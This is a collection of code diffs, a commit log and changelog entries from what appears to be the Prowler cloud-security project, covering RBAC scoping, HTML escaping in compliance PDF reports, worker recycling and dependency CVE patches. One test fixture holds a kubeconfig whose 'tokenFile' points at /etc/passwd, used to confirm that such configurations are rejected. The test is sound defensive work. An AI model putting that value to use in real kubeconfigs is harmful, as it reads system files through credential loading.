-            ScanCategorySummary.objects.filter(
-                tenant_id=tenant_id, **category_scan_filters
-            )
-            .values_list("category", flat=True)
+            category_summaries.values_list("category", flat=True)
            .distinct()
            .order_by("category")
        )
@@ -4262,9 +4300,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
    def metadata_latest(self, request):
        tenant_id = request.tenant_id
        query_params = request.query_params
+        user_roles = self.user_role

-        latest_scans_queryset = Scan.all_objects.filter(
-            tenant_id=tenant_id
+        latest_scans_queryset = _scans_visible_to(
+            user_roles, tenant_id
        ).latest_per_provider()
        raw_latest_scans_ids = list(
            latest_scans_queryset.values_list("id", "unique_resource_count")
@@ -130,6 +130,8 @@ REST_FRAMEWORK = {
 SPECTACULAR_SETTINGS = {
    "SERVE_INCLUDE_SCHEMA": False,
    "COMPONENT_SPLIT_REQUEST": True,
+    # redoc@latest is 3.x, whose standalone bundle fails as a classic script
+    "REDOC_DIST": "https://cdn.jsdelivr.net/npm/redoc@2.5.1",
    "PREPROCESSING_HOOKS": [
        "drf_spectacular_jsonapi.hooks.fix_nested_path_parameters",
    ],
@@ -53,6 +53,10 @@ preload_app = not DEBUG
 # that may take longer, such as complex API operations.
 timeout = env.int("GUNICORN_TIMEOUT", default=120)

+# Recycle workers after N requests (+ jitter) to cap memory growth. GUNICORN_MAX_REQUESTS=0 disables.
+max_requests = env.int("GUNICORN_MAX_REQUESTS", default=10000)
+max_requests_jitter = env.int("GUNICORN_MAX_REQUESTS_JITTER", default=1000)
+
 # Logging
 logconfig_dict = DJANGO_LOGGERS
 gunicorn_logger = logging.getLogger(BackendLogger.GUNICORN)
@@ -443,6 +443,47 @@ def authenticated_client_rbac_manage_users_only(
    )


+@pytest.fixture(scope="function")
+def create_test_user_rbac_manage_integrations_only(django_db_setup, django_db_blocker):
+    """User with only manage_integrations permission (no manage_account)."""
+    with django_db_blocker.unblock():
+        user = User.objects.create_user(
+            name="testing_manage_integrations_only",
+            email="rbac_manage_integrations_only@rbac.com",
+            password=TEST_PASSWORD,
+        )
+        tenant = Tenant.objects.create(name="Tenant Test Manage Integrations Only")
+        Membership.objects.create(
+            user=user,
+            tenant=tenant,
+            role=Membership.RoleChoices.OWNER,
+        )
+        role = Role.objects.create(
+            name="manage_integrations_only",
+            tenant_id=tenant.id,
+            manage_users=False,
+            manage_account=False,
+            manage_billing=False,
+            manage_providers=False,
+            manage_integrations=True,
+            manage_scans=False,
+            unlimited_visibility=False,
+        )
+        UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
+    return user
+
+
+@pytest.fixture
+def authenticated_client_rbac_manage_integrations_only(
+    create_test_user_rbac_manage_integrations_only, client
+):
+    return authenticate_client_for_tenant(
+        client,
+        create_test_user_rbac_manage_integrations_only,
+        first_membership_tenant(create_test_user_rbac_manage_integrations_only),
+    )
+
+
@pytest.fixture
 def authenticated_client_rbac(create_test_user_rbac, tenants_fixture, client):
    return authenticate_client_for_tenant(
@@ -172,14 +172,10 @@ class CISReportGenerator(BaseComplianceReportGenerator):

        # Metadata table via base class helper
        info_rows = self._build_info_rows(data, language=self.config.language)
-        metadata_data = []
-        for label, value in info_rows:
-            if label in ("Name:", "Description:") and value:
-                metadata_data.append(
-                    [label, Paragraph(str(value), self.styles["normal_center"])]
-                )
-            else:
-                metadata_data.append([label, value])
+        metadata_data = [
+            [label, Paragraph(escape_html(str(value)), self.styles["normal_center"])]
+            for label, value in info_rows
+        ]

        metadata_table = Table(metadata_data, colWidths=[2 * inch, 4 * inch])
        metadata_table.setStyle(
@@ -13,7 +13,7 @@ from .base import (
    get_requirement_metadata,
 )
 from .charts import create_horizontal_bar_chart, create_radar_chart
-from .components import get_color_for_compliance
+from .components import escape_html, get_color_for_compliance
 from .config import (
    COLOR_BG_BLUE,
    COLOR_BLUE,
@@ -99,15 +99,10 @@ class ENSReportGenerator(BaseComplianceReportGenerator):

        # Compliance info table - use base class helper for consistency
        info_rows = self._build_info_rows(data, language="es")
-        # Convert tuples to lists and wrap long text in Paragraphs
-        info_data = []
-        for label, value in info_rows:
-            if label in ("Nombre:", "Descripción:") and value:
-                info_data.append(
-                    [label, Paragraph(value, self.styles["normal_center"])]
-                )
-            else:
-                info_data.append([label, value])
+        info_data = [
+            [label, Paragraph(escape_html(str(value)), self.styles["normal_center"])]
+            for label, value in info_rows
+        ]

        info_table = Table(info_data, colWidths=[2 * inch, 4 * inch])
        info_table.setStyle(
@@ -11,6 +11,7 @@ from .base import (
    get_requirement_metadata,
 )
 from .charts import create_horizontal_bar_chart, get_chart_color_for_percentage
+from .components import escape_html
 from .config import (
    COLOR_BORDER_GRAY,
    COLOR_DARK_GRAY,
@@ -111,15 +112,10 @@ class NIS2ReportGenerator(BaseComplianceReportGenerator):

        # Compliance metadata table - use base class helper for consistency
        info_rows = self._build_info_rows(data, language="en")
-        # Convert tuples to lists and wrap long text in Paragraphs
-        metadata_data = []
-        for label, value in info_rows:
-            if label in ("Name:", "Description:") and value:
-                metadata_data.append(
-                    [label, Paragraph(value, self.styles["normal_center"])]
-                )
-            else:
-                metadata_data.append([label, value])
+        metadata_data = [
+            [label, Paragraph(escape_html(str(value)), self.styles["normal_center"])]
+            for label, value in info_rows
+        ]

        metadata_table = Table(metadata_data, colWidths=[2 * inch, 4 * inch])
        metadata_table.setStyle(
@@ -997,11 +997,12 @@ def _process_finding_micro_batch(
                        snapshot_resource_fields(resource_uid, resource_instance)
                        resource_instance.type = finding.resource_type
                        updated = True
-                    if resource_instance.metadata != finding.resource_metadata:
+                    serialized_metadata = json.dumps(
+                        finding.resource_metadata, cls=CustomEncoder
+                    )
+                    if resource_instance.metadata != serialized_metadata:
                        snapshot_resource_fields(resource_uid, resource_instance)
-                        resource_instance.metadata = json.dumps(
-                            finding.resource_metadata, cls=CustomEncoder
-                        )
+                        resource_instance.metadata = serialized_metadata
                        updated = True
                    if resource_instance.details != finding.resource_details:
                        snapshot_resource_fields(resource_uid, resource_instance)
@@ -897,8 +897,12 @@ def generate_outputs_task(scan_id: str, provider_id: str, tenant_id: str):
    )
    with rls_transaction(tenant_id, using=READ_REPLICA_ALIAS):
        for batch, is_last in batched(qs, DJANGO_FINDINGS_BATCH_SIZE):
+            metadata_cache = {}
            fos = [
-                FindingOutput.transform_api_finding(f, prowler_provider) for f in batch
+                FindingOutput.transform_api_finding(
+                    f, prowler_provider, metadata_cache=metadata_cache
+                )
+                for f in batch
            ]

            # Outputs
@@ -979,6 +983,8 @@ def generate_outputs_task(scan_id: str, provider_id: str, tenant_id: str):
                writer.batch_write_data_to_file()
                writer._data.clear()

+            del fos, metadata_cache
+
    compressed = _compress_output_files(out_dir)

    upload_uri = _upload_to_s3(
@@ -3,7 +3,8 @@ from datetime import UTC, datetime
 from unittest.mock import MagicMock, patch

 import pytest
-from api.models import Integration, LighthouseConfiguration, Provider
+from api.models import Integration, LighthouseConfiguration, Provider, ProviderSecret
+from api.v1.serializers import KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR
 from tasks.jobs.connection import (
    check_integration_connection,
    check_lighthouse_connection,
@@ -65,17 +66,52 @@ def test_check_provider_connection_exception(

    mock_provider_connection_test.return_value = MagicMock()
    mock_provider_connection_test.return_value.is_connected = False
-    mock_provider_connection_test.return_value.error = Exception()
+    mock_provider_connection_test.return_value.error = Exception(
+        "Unable to assume role"
+    )

    result = check_provider_connection(provider_id="provider_id")

    assert result["connected"] is False
-    assert result["error"] is not None
+    assert result["error"] == "Unable to assume role"

    mock_provider_instance.save.assert_called_once()
    assert mock_provider_instance.connected is False


+@pytest.mark.django_db
+def test_check_provider_connection_with_stored_non_inline_kubeconfig(
+    kubernetes_provider,
+):
+    """A kubeconfig stored before the inline-only rule marks the provider as disconnected."""
+    kubernetes_provider.connected = True
+    kubernetes_provider.save()
+    ProviderSecret.objects.create(
+        tenant_id=kubernetes_provider.tenant_id,
+        provider=kubernetes_provider,
+        secret_type=ProviderSecret.TypeChoices.STATIC,
+        secret={
+            "kubeconfig_content": (
+                "apiVersion: v1\n"
+                "kind: Config\n"
+                "users:\n"
+                "- name: test-user\n"
+                "  user:\n"
+                "    tokenFile: /etc/passwd\n"
+            )
+        },
+    )
+
+    result = check_provider_connection(provider_id=str(kubernetes_provider.id))
+
+    kubernetes_provider.refresh_from_db()
+    assert result == {
+        "connected": False,
+        "error": KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR,
+    }
+    assert kubernetes_provider.connected is False
+
+
@pytest.mark.parametrize(
    "lighthouse_data",
    [
Author	SHA1	Message	Date
renovate[bot]	584d3d5d5b	chore(ci): update github-actions	2026-11-01 10:30:17 +00:00
Pedro Martín	67aa941012	fix(mongodbatlas): keep Atlas error detail on identity (#13214 )	2026-10-30 13:03:15 +01:00
Pedro Martín	f64e5e10ad	fix(container): bump Python base image to 3.12.16 (#13215 )	2026-10-30 12:37:56 +01:00
Alejandro BailoandClaude Opus 5.5	008864797b	feat(ui): do everything about an issue from its side panel (#13207 ) Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>	2026-10-30 10:03:31 +01:00
Prowler Botandprowler-bot	6999bbac9b	chore(release): Bump versions to v5.48.0 (#13203 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-29 16:37:40 +01:00
Pedro Martín	2cc5c4b2f9	chore(changelog): v5.47.0 highlights (#13200 )	2026-10-29 16:37:20 +01:00
Prowler Botandprowler-bot	1a62d7d99a	chore(changelog): v5.47.0 (#13201 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-29 14:01:05 +01:00
Pedro Martín	162996fa0a	docs(changelog): fix v5.46.0 release date (#13199 )	2026-10-29 13:54:06 +01:00
Harsh Rajandpedrooot	219304848d	fix(ec2): treat CIDRs that together cover every address as open to the internet (#13191 ) Co-authored-by: pedrooot <pedromarting3@gmail.com>	2026-10-29 12:56:46 +01:00
Rubén De la Torre Vico	b036b8f42d	feat(mcp): mark every tool as read-only or destructive (#13196 )	2026-10-29 11:48:22 +01:00
Pedro Martín	cbece30d7b	chore(changelog): v5.46.0 highlights (#13159 )	2026-10-29 11:24:13 +01:00
Pedro Martín	90e1d21db6	docs(guides): prioritize Prowler Cloud over Local Server (#13161 )	2026-10-29 11:21:15 +01:00
Babafemi Bulugbeandpedrooot	714d9283b0	feat(azure): add iam_subscription_owners_between_2_and_3 check (#13145 ) Co-authored-by: pedrooot <pedromarting3@gmail.com>	2026-10-29 11:11:42 +01:00
Babafemi Bulugbeandpedrooot	8e83de67bc	feat(azure): add Application Gateway WAF and HTTP/2 checks (#13160 ) Co-authored-by: pedrooot <pedromarting3@gmail.com>	2026-10-29 10:49:38 +01:00
Alejandro BailoandClaude Opus 5.5	ca6ed48664	feat(ui): show the attack path in the Issues panel and rename the menu entry (#13195 ) Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>	2026-10-29 10:43:42 +01:00
manuelProwlerandClaude Opus 5.5	814ae54d6a	feat(ui): let Lighthouse use Bedrock without keys where the API allows it (#13101 ) Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>	2026-10-28 11:57:42 -05:00
Alejandro BailoandClaude Opus 5.5	53b7b24e2b	feat(ui): explain verdicts in the Issues list and open rows in a side panel (#13189 ) Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>	2026-10-28 16:36:57 +01:00
Alejandro Bailo	e74a9a909e	fix(ui): let the Lighthouse connection guide connect the provider on request (#13188 )	2026-10-28 14:54:44 +01:00
Pedro Martín	5a94fc798d	fix(container): patch pymongo, dnspython and oauthlib CVEs (#13185 )	2026-10-28 13:44:41 +01:00
Alejandro Bailo	78a5fa139f	feat(ui): gate API key creation behind Prowler Cloud (#13187 )	2026-10-28 13:20:03 +01:00
Alejandro Bailo	06a20bcc7c	feat(ui): link usage-limit refusals to Prowler pricing (#13184 )	2026-10-28 12:32:50 +01:00
Rubén De la Torre Vico	c0891591a3	fix(mcp): patch Authlib and dnspython CVEs flagged by Trivy (#13186 )	2026-10-28 12:18:44 +01:00
Alejandro Bailo	4b80c69739	feat(ui): connect every provider in one wizard step (#13181 )	2026-10-28 11:48:25 +01:00
Pedro Martín	905c60fa85	fix(ui): keep compliance tab when one catalog page fails (#13183 )	2026-10-28 09:51:58 +01:00
Alejandro Bailo	dcd3d5a0fb	fix(ui): stop the add-provider modal from shifting while it loads (#13179 )	2026-10-27 20:53:00 +01:00
Alejandro Bailo	75c9a6bf51	fix(ui): stop Lighthouse replies from blinking when the stream ends (#13180 )	2026-10-27 19:45:59 +01:00
Alejandro Bailo	4eb468619f	feat(ui): offer Lighthouse AI help in the add-provider wizard (#13178 )	2026-10-27 16:55:26 +01:00
Pedro Martín	d7bffba4ac	fix(ui): stop avatar from requesting the current page (#13177 )	2026-10-27 15:20:58 +01:00
Pedro Martín	a5995e1438	feat(ui): add NATO D32 compliance icon (#13174 )	2026-10-27 12:02:24 +01:00
Alejandro Bailo	1a30b374d6	refactor(ui): remove the onboarding system and product tours (#13176 )	2026-10-27 11:57:34 +01:00
Alejandro Bailo	d6ea8bf274	fix(ui): use Status wording and capitalize invitation and role filters (#13175 )	2026-10-27 11:00:35 +01:00
Prowler Botandprowler-bot	b4bbb64c6b	chore(release): Bump versions to v5.47.0 (#13165 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-26 20:55:18 +01:00
Prowler Botandprowler-bot	fdb1bd6193	chore(changelog): v5.46.0 (#13162 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-26 18:46:03 +01:00
Rubén De la Torre Vicoandalejandrobailo	41a2bf605a	feat(ui): bring the issues UI closer to the original prototype (#13154 ) Co-authored-by: alejandrobailo <alejandrobailo94@gmail.com>	2026-10-26 17:24:52 +01:00
Rubén De la Torre Vicoandalejandrobailo	63b8c8969c	feat(ui): show the compliance an issue puts at risk (#13153 ) Co-authored-by: alejandrobailo <alejandrobailo94@gmail.com>	2026-10-26 16:44:04 +01:00
Rubén De la Torre Vicoandalejandrobailo	1ae3856de0	feat(ui): show what each attack path buys and where it starts (#13152 ) Co-authored-by: alejandrobailo <alejandrobailo94@gmail.com>	2026-10-26 15:59:38 +01:00
Prowler Bot prowler-bot pedrooot	40758818c3	feat(aws): Update regions for AWS services (#13156 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com> Co-authored-by: pedrooot <pedromarting3@gmail.com>	2026-10-26 15:10:49 +01:00
Rubén De la Torre Vicoandalejandrobailo	83152ae1a6	feat(ui): triage issues and send them to Jira (#13151 ) Co-authored-by: alejandrobailo <alejandrobailo94@gmail.com>	2026-10-26 15:09:05 +01:00
Pedro Martín	3bbd551f0f	fix(openstack): block SSRF via auth_url in connection test (#12962 )	2026-10-26 13:37:46 +01:00
Pedro Martín	be01a97789	fix(outputs): parse resource metadata once per batch (#13149 )	2026-10-26 12:57:52 +01:00
Alejandro Bailo	7ecb6aaefd	fix(ui): match the "Save and launch scan" footer in the provider E2E flows (#13133 )	2026-10-26 12:53:36 +01:00
Pedro Martín	75f81cc751	ci(ui): pin Playwright jobs to ubuntu-24.04 (#13158 )	2026-10-26 12:32:58 +01:00
Pedro Martín	c724840e6a	fix(api): compare serialized metadata on scan ingestion (#13148 )	2026-10-26 12:13:02 +01:00
Pedro Martín	b52b8d3678	fix(api): bump djangorestframework to 3.18.3 (#13157 )	2026-10-26 11:56:25 +01:00
Alejandro Bailo	c533b47aeb	fix: patch critical UI advisories and SDK container CVEs (#13135 )	2026-10-26 11:51:31 +01:00
Pedro MartínandRubén De la Torre Vico	669df91ac9	feat(checks): PHP runtime coverage after the October security release (#13127 ) Co-authored-by: Rubén De la Torre Vico <98956809+puchy22@users.noreply.github.com>	2026-10-23 12:49:36 +02:00
Alejandro Bailo	35d25a7218	feat(ui): limit locked tenants to a ten-row findings preview (#13130 )	2026-10-23 10:58:15 +02:00
Pepe Fagoaga	819f5fd7a0	chore(googleworkspace): name the Policy API reducer the precedence rule implements (#13125 )	2026-10-23 08:38:13 +02:00
Pedro Martín	7d71220a25	fix(sdk): redact secret fields in resource metadata (#13129 )	2026-10-23 08:37:27 +02:00
Rubén De la Torre Vico	69b80f6a3f	chore(azure): raise App Service PHP latest version default to 8.5 (#13128 )	2026-10-22 15:33:06 +02:00
Alejandro Bailo	f26b9776d4	fix(ui): bump Node to 24.22.1 to patch the October 2026 security release (#13126 )	2026-10-22 14:28:46 +02:00
Pepe Fagoaga	54f2400aee	fix(googleworkspace): map Gmail spoofing actions to the right fields (#13114 )	2026-10-22 08:26:11 +02:00
Pepe Fagoaga	8c5357b087	feat(googleworkspace): explain findings gated by the Workspace edition (#13113 )	2026-10-22 08:25:52 +02:00
Pedro Martín	13202b8a70	fix(api): require manage_account for SAML configuration (#13121 )	2026-10-22 08:24:22 +02:00
Utkarsh Batham	680acf8b31	feat(cognito): add cognito_user_pool_account_recovery_sms_not_preferred check (#12251 )	2026-10-22 01:32:19 +02:00
Jonathan Nguyen	1468596b61	feat(bedrock): assess invocation log content and guardrail output filtering (#12663 )	2026-10-22 01:25:39 +02:00
Pepe Fagoaga	02c8881378	fix(googleworkspace): honor the sharing mode in Drive publishing check (#13115 )	2026-10-22 01:11:14 +02:00
Pepe Fagoaga	eae17a5e17	feat(googleworkspace): pass app checks when the service is off for everyone (#13117 )	2026-10-22 01:07:19 +02:00
Pedro Martín	a59eae7b24	fix(api): harden Attack Paths custom query sanitizer (#13120 )	2026-10-22 01:05:45 +02:00
Alejandro Bailo	9a89dc4a4e	feat(ui): add outlined error badge variant (#13111 )	2026-10-21 22:38:15 +02:00
Pedro Martín	1e2f8f3cf7	fix(container): patch Pillow, certifi, uv, aiohttp and Trivy CVEs (#13107 )	2026-10-21 16:26:59 +02:00
Pepe Fagoaga	d9ace56e43	docs(googleworkspace): link required APIs, handle key creation policy (#13108 )	2026-10-21 15:52:48 +02:00
Pedro Martín	c0ce556ea1	fix(ci): allow the Python download CDN in blocked jobs (#13109 )	2026-10-21 15:45:43 +02:00
Alejandro Bailo	34e0af33c2	feat(ui): launch the initial scan by default after provider setup (#13104 )	2026-10-21 15:42:41 +02:00
Toni de la Fuente	6ee0dd9730	chore: prepare Prowler Cloud plugin for the Claude directory (#13098 )	2026-10-20 08:39:47 -07:00
Rajesh NadimintiandRubén De la Torre Vico	4980ded0ae	feat(gcp): add vertexai workbench terminal, download and auto-upgrade… (#13077 ) Co-authored-by: Rubén De la Torre Vico <98956809+puchy22@users.noreply.github.com>	2026-10-20 12:43:06 +02:00
Alejandro Bailo	4d922da2a6	refactor(ui): remove the skill launcher flag and keep the chip rail (#13097 )	2026-10-19 20:19:07 +02:00
Alejandro Bailo	76cde39b08	feat(ui): redesign the Exploitability card and the issues verdict filter (#13093 )	2026-10-19 17:57:15 +02:00
Pedro Martín	414dd64545	fix(api): scope metadata endpoints to role provider groups (#12964 )	2026-10-19 17:15:09 +02:00
Alejandro BailoandClaude Fable 5.1	3654e5a810	fix(ui): drop the New badges from the Alerts and Scans sidebar items (#13092 ) Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>	2026-10-19 16:32:16 +02:00
Alejandro Bailo	7f9eb2cb11	feat(ui): gate the Issues feature behind the issues-feature flag (#13090 )	2026-10-19 16:00:26 +02:00
Alejandro Bailo	ba0e78188b	fix(ui): keep the E2E suites off the first-run redirect and pick the invite role (#13091 )	2026-10-19 15:58:16 +02:00
Alejandro Bailo	1783527c11	refactor(ui): centralize PostHog feature flag reads in ui/lib/feature-flags (#13089 )	2026-10-19 12:27:46 +02:00
Alejandro Bailo	f46b86101a	feat(ui): add issues views using the shared design system (#13068 )	2026-10-19 11:34:25 +02:00
Pedro Martín	f45173997b	fix(api): wrap long account IDs in PDF report cover table (#13063 )	2026-10-16 10:33:07 +02:00
Rajesh NadimintiandRubén De la Torre Vico	136e4efdb5	feat(gcp): add vertexai service with workbench public IP and root access checks (#13062 ) Co-authored-by: Rubén De la Torre Vico <98956809+puchy22@users.noreply.github.com>	2026-10-16 10:20:34 +02:00
Pedro Martín	de4db487d5	fix(container): bump Trivy to 0.76.0 in SDK and API images (#13064 )	2026-10-16 09:55:18 +02:00
Prowler Botandprowler-bot	f5aaec21cc	chore(release): Bump versions to v5.46.0 (#13056 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-15 13:28:01 +02:00
Pedro Martín	64ce5a7503	fix(api): pin Redoc to 2.5.1 so the docs render (#13053 )	2026-10-15 12:01:03 +02:00
César Arroba Vico	2600d49195	fix(ci): create the release tracking ref locally in prepare-release (#13052 )	2026-10-15 11:51:12 +02:00
César Arroba Vico	7c4b12b655	fix(ci): fetch the release branch after creating it in prepare-release (#13050 )	2026-10-15 11:23:57 +02:00
Prowler Botandprowler-bot	9b56a3b657	chore(changelog): v5.45.0 (#13049 ) Co-authored-by: prowler-bot <179230569+prowler-bot@users.noreply.github.com>	2026-10-15 11:12:38 +02:00
Pedro Martín	f70b648cde	chore(changelog): v5.45.0 highlights (#13048 )	2026-10-15 11:05:49 +02:00
César Arroba	1f8ca695e8	fix(api): recycle gunicorn workers to cap memory growth (#13047 )	2026-10-15 09:36:33 +02:00
Pepe Fagoagaandcoderabbitai[bot]	d8a4e98850	docs: new listings for the AWS Marketplace (#12948 ) Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>	2026-10-14 23:08:32 +02:00
Pedro Martín	d9b53b2637	fix(iac): block SSRF in repository connection test (#12960 )	2026-10-14 16:25:13 +02:00
Pedro Martín	a4d07678b4	fix(outputs): neutralise injection in CSV and HTML reports (#12963 )	2026-10-14 13:55:43 +02:00
Alejandro Bailo	64c19b3db6	fix(ui): show Registry subscription and setup prompts (#13038 )	2026-10-14 13:51:08 +02:00
Rajesh NadimintiandRubén De la Torre Vico	286ae6c7cf	feat(azure): add aiservices network ACL and prompt shield checks (#12997 ) Co-authored-by: Rubén De la Torre Vico <98956809+puchy22@users.noreply.github.com>	2026-10-14 10:55:27 +02:00
Pedro Martín	8e67f0251c	fix(ui): point Slack partial list to inviting the app (#13036 )	2026-10-14 10:32:12 +02:00
Rajesh NadimintiandRubén De la Torre Vico	3c50cec509	feat(azure): add aiservices private endpoint, outbound, identity and logging checks (#12926 ) Co-authored-by: Rubén De la Torre Vico <98956809+puchy22@users.noreply.github.com>	2026-10-14 10:26:16 +02:00
Pedro Martín	fbb22834f7	fix(container): bump PowerShell to 7.5.12 in SDK and API (#13037 )	2026-10-14 10:09:18 +02:00
Pedro Martín	165b62a730	ci(sdk): run Huawei Cloud tests in sdk-tests (#13035 )	2026-10-14 09:22:30 +02:00
Rajesh Nadimintiandpedrooot	8b814b7643	feat(azure): add aiservices service with network, local auth and CMK checks (#12925 ) Co-authored-by: pedrooot <pedromarting3@gmail.com>	2026-10-14 09:03:25 +02:00
Pepe Fagoaga	22468c1443	ci(trufflehog): scan full history and pin scanner image (#13032 )	2026-10-14 07:53:25 +02:00
Joaquín Molina Kinomakino kinomakino Claude Opus 5.5 Pedro Martín	a36991f60e	feat(m365): add entra_cross_tenant_access_default_outbound_restricted check (#12991 ) Co-authored-by: kinomakino <3662588+kinomakino@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: Pedro Martín <pedromarting3@gmail.com>	2026-10-13 16:25:42 +02:00
Joaquín Molina Kinomakino kinomakino Claude Opus 5.5 Pedro Martín	dd63fa960b	feat(m365): add entra_policy_admin_self_service_password_reset_disabled check (#12990 ) Co-authored-by: kinomakino <3662588+kinomakino@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: Pedro Martín <pedromarting3@gmail.com>	2026-10-13 15:59:20 +02:00
Joaquín Molina Kinomakino kinomakino Claude Opus 5.5 Pedro Martín	80c4113879	feat(m365): add entra_dynamic_group_member_of_rule_not_used check (#13003 ) Co-authored-by: kinomakino <3662588+kinomakino@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: Pedro Martín <pedromarting3@gmail.com>	2026-10-13 15:59:01 +02:00
Joaquín Molina Kinomakino kinomakino Claude Opus 5.5 Pedro Martín	c438858dbd	feat(m365): add entra_app_registration_redirect_uris_secure check (#12993 ) Co-authored-by: kinomakino <3662588+kinomakino@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: Pedro Martín <pedromarting3@gmail.com>	2026-10-13 15:42:21 +02:00
Joaquín Molina Kinomakino kinomakino Claude Opus 5.5 Pedro Martín	f606a3c195	feat(m365): add entra_policy_msol_powershell_blocked check (#13004 ) Co-authored-by: kinomakino <3662588+kinomakino@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: Pedro Martín <pedromarting3@gmail.com>	2026-10-13 15:22:01 +02:00
Pedro Martín	c599a9cf1d	fix(container): suppress Trivy HTTP/2 SETTINGS DoS CVE (#13028 )	2026-10-13 11:55:48 +02:00
Pedro Martín	61d2cc55c4	fix(container): patch Trivy and MCP base image CVEs (#13009 )	2026-10-09 18:17:48 +02:00
Pedro Martín	859a846147	fix(api): scope user memberships and roles to tenant (#12965 )	2026-10-09 13:04:11 +02:00
Alejandro Bailo	d8bdc8553f	fix(ui): show registry provider logos and capitalize registry labels (#12985 )	2026-10-08 18:16:08 +02:00
Pedro Martínandalejandrobailo	f44ea4b6fa	fix(api): require inline kubeconfig credentials (#12952 ) Co-authored-by: alejandrobailo <alejandrobailo94@gmail.com>	2026-10-08 18:15:10 +02:00
César Arroba	27c4113d29	fix(aws): query Organizations in the audited partition (#12988 )	2026-10-08 15:57:58 +02:00
Alejandro Bailo	cf688e3fa1	fix(ui): bump Next.js to 16.3.8 to patch the image optimization SSRF advisory (#12987 )	2026-10-08 15:17:59 +02:00
				`@@ -0,0 +1 @@`
				`Python base image from 3.12.15 to 3.12.16 in the API container image, patching CVE-2026-115557`
				`@@ -1 +0,0 @@`
				`django` from 5.1.15 to 5.2.17, patching CVE-2026-15307
				`@@ -1 +0,0 @@`
				`dulwich` from 1.2.5 to 1.2.9, patching GHSA-5fqc-mrg8-w798, GHSA-8mcx-5rqc-vhmf, GHSA-8w8g-wq8h-fq33 and GHSA-cm62-gvxx-vmxx
				`@@ -1 +0,0 @@`
				`OCI provider secrets keep the region as home region for credential validation and scans, instead of always using us-ashburn-1`
				`@@ -1 +0,0 @@`
				`pyjwt` from 2.13.0 to 2.14.0, patching GHSA-ffc3-869f-jxw9
				`@@ -1 +0,0 @@`
				`pymongo` from 4.15.1 to 4.18.2, patching CVE-2026-96748 and CVE-2026-96749
				`@@ -1 +0,0 @@`
				`Sentry error events no longer include user identity, IP addresses, cookies, headers or request bodies, which could contain personal data or provider credentials`
				`@@ -1 +0,0 @@`
				`urllib3` from 2.7.0 to 2.8.0, patching CVE-2026-97687 and CVE-2026-97689